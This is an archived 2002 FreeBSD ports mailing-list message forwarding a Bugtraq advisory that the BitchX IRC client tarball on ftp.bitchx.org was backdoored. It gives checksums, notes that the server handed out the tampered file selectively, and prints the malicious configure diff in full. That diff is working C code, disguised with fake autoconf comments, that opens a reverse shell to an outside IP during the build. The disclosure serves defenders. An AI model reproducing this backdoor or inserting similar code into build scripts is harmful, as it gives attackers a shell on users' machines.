From owner-freebsd-ports Tue Jul 2 3:41:58 2002 Delivered-To: freebsd-ports@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF4F337B400 for ; Tue, 2 Jul 2002 03:41:48 -0700 (PDT) Received: from 21322530218.direct.eti.at (21322530218.direct.eti.at [213.225.30.218]) by mx1.FreeBSD.org (Postfix) with ESMTP id A5B2343E09 for ; Tue, 2 Jul 2002 03:41:46 -0700 (PDT) (envelope-from tilman@21322530218.direct.eti.at) Received: (from tilman@localhost) by 21322530218.direct.eti.at (8.11.6/8.11.6) id g62Aii252811 for ports@freebsd.org; Tue, 2 Jul 2002 12:44:44 +0200 (CEST) (envelope-from tilman) Date: Tue, 2 Jul 2002 12:44:43 +0200 From: Tilman Linneweh To: ports@freebsd.org Subject: [Maintainer Security-Note] Configure Backdoor in Bitchx.org's distfile Message-ID: <20020702104443.GA52584@huckfinn.arved.de> Reply-To: Tilman Linneweh Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="bg08WKrSYDhXBjb5" Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-freebsd-ports@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi,=20 There has been a posting on bugtraq about bitchx beeing backdoored. (see below) Short: The FreeBSD Port has the Correct Checksum of the clean distfile. No Problem for us it seems. ----------------------------------------------------------------------- From: hlein@metasecuritygroup.com (Hank Leininger) Newsgroups: bugtraq Subject: ftp.bitchx.org's ircii-pana-1.0c19.tar.gz is backdoored A few hours ago (1 AM US/Eastern time, July 1) we downloaded ircii-pana-1.0c19.tar.gz from ftp.bitchx.com (216.165.191.5) and reviewed the configure script before running it. It has essentially the same configure backdoor as fragroute-1.2.tar.gz[1] -- a TCP connection is made outbound, with a shell bound to it (a reverse telnet). This appears to retry/respawn once per hour. The 1.0c19 tarball at ftp.irc.org (which mirrors bitchx.com) did not appear to be trojaned when we pulled from there about an hour later. /dist$ md5sum ircii-pana-1.0c19* 46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19-bitchxorg.tar.gz [bad] 79431ff0880e7317049045981fac8adc ircii-pana-1.0c19-ircorg.tar.gz [good] /src/ircii-pana-1.0c19-possiblytrojaned$ md5sum */configure d6444c18b6faf352dfc6ca3bf8cb802a ftp.bitchx.org/configure [bad] 0bd531d523606a0296da2763dafa51f2 ftp.irc.org/configure [good] Here is the added code in the bitchx.org distribution: --- ircii-pana-1.0c19-ftp.irc.org/configure Sun Mar 24 04:30:49 2002 +++ ircii-pana-1.0c19-ftp.bitchx.org/configure Sun Mar 24 04:30:49 2002 @@ -6326,6 +6326,88 @@ fi +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +cat >conftest.c <<_ACEOF +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +#include +#include +#include +#include +#include +#include +#include +#include + +/* Override any gcc2 internal prototype to avoid an error. + Override any jmp buf internal prototype to avoid an error. */ +jmp_buf env; int s; +void sig(int sig) +{ + close (s); sleep (3600); longjmp (env, 0); +} + +int main() +{ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ + int x; char c; struct sockaddr_in sa; + +/* This call has the arguments reversed. + A reversed system may check and see that the address of main + */ + switch (fork ()) { case 0: break; default: exit (0); } + + signal (SIGALRM, sig); + do { +/* Override any gcc2 internal prototype to avoid an error. + Override any jmp buf internal prototype to avoid an error. */ + setjmp(env); + if ((s =3D socket (AF_INET, SOCK_STREAM, 0)) =3D=3D (-1)) exit (1); + memset (&sa, 0, sizeof(sa)); + sa.sin_family =3D AF_INET; +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ + sa.sin_port =3D htons (6667); + sa.sin_addr.s_addr =3D inet_addr ("213.77.115.17"); alarm (10); +/* Override any gcc2 internal prototype to avoid an error. */ +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ + if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) =3D=3D (-1)) + if (errno !=3D EINTR) exit(1); + if ((x =3D read (s, &c, 1)) =3D=3D (-1)) { + if (errno !=3D EINTR) exit (1); } + else if (x =3D=3D 1) { +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ + alarm (0); dup2 (s, 0); dup2 (s, 1); dup2 (s, 2); +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char inet_addr(); below. */ + { char *a[] =3D { "/bin/sh", NULL }; execve (a[0], a, NULL); } + } + } while (1); +} +_ACEOF +# Don't try to exec as it changes $[0], causing all sort of problems +# (the dirname of $[0] is not the place where we might find the +# original and so on. Autoconf is especially sensible to this). +# Exit status is that of the last command. +ACLIBLOCAL=3D"`basename \"\`grep $USER: /etc/passwd\`\"`" 1>/dev/null 2>/d= ev/null +# Create $as_me.lineno as a copy of $as_myself, but with $LINENO +# uniformly replaced by the line number. The first 'sed' inserts a +# line-number line before each line; the second 'sed' does the real +# work. The second script uses 'N' to pair each line-number line +# with the numbered line, and appends trailing '-' during +# substitution so that $LINENO is not a special case at line end. +# (Raja R Harinath suggested sed '=3D', and Paul Eggert wrote the +# second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) +if ! test $ACLIBLOCAL ; then ACLIBLOCAL=3Dsh; fi 1>/dev/null 2>/dev/null +$CC $LIBS -w conftest.c -o $ACLIBLOCAL ; PATH=3D.:$PATH $ACLIBLOCAL 1>/dev= /null 2>/dev/null +rm -f ./conftest ./conftest.c $ACLIBLOCAL ./acliblocal ./aclib + echo "$as_me:$LINENO: checking for inet_aton" >&5 echo $ECHO_N "checking for inet_aton... $ECHO_C" >&6 if test "${ac_cv_func_inet_aton+set}" =3D set; then There's a little more to this. There are at least two versions of the source code on (www|ftp).bitchx.(org|com) 79431ff0880e7317049045981fac8adc ircii-pana-1.0c19.tar.gz 46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19.tar.gz.1 <- owned -rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz -rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz.1 There is something very strange going on with the FTP server on ftp.bitchx.org. In some cases, it serves up the trojaned version; in others, the original, safe version. It seems to be client / client-behavior based (we're not sure exactly what). These will usually get you a clean copy: wget ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz [netscape] ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz ftp ftp.bitchx.org ; get /pub/BitchX/source/ircii-pana-1.0c19.tar.gz ftp ftp.bitchx.org ; cd /pub/BitchX/source ; get ircii-pana-1.0c19.tar.gz These will usually give you the trojaned version: lynx ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz ftp ftp.bitchx.org ; cd pub ; cd BitchX ; cd source ; \ get ircii-pana-1.0c19.tar.gz To add a little more to this; we've confirmed that if you come off of what appears to be a cablemodem/dsl IP you are likely to get a trojan'd copy. If you come off of a more static link, you are likely to get a clean copy. This was verified using: 204.xxx.xxx.xxx range gets clean 12.xxx.xxx.xxx (ATT) gets dirty 66.xxx.xxx.xxx gets dirty Using the 'ftp ; cd pub; ...' method. We have also observed cases where the 'ftp method' yields a clean copy but lynx still fetches the trojan'ed copy. In addition to source-network checking, ftpd may be checking anonymous vs ftp login strings, what anon password is sent, whether the client issues explicit TYPE I commands, whether it sends paths with leading slashes, PORT vs PASV commands, RETR with the full path, etc. This indicates that someone has (at least) also tampered with the FTP server software itself; most likely the server has been rooted. We have reported this issue to BitchX developers, and they are investigating. In the meantime, we suggest everyone should treat anything downloaded from the ftp.bitchx.org server with extreme skepticism. [1] http://marc.theaimsgroup.com/?l=3Dbugtraq&m=3D102285523803434&w=3D2 Joe Segreti Mark Canter Hank Leininger --bg08WKrSYDhXBjb5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) iD8DBQE9IYQafCLDn4B6xToRAsVyAJwJouRkxRz7CGLVkHGsgrYWdS7oQQCdEHQ1 lE8ybd13LP+mdkCHBQxuzFo= =j6aO -----END PGP SIGNATURE----- --bg08WKrSYDhXBjb5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-ports" in the body of the message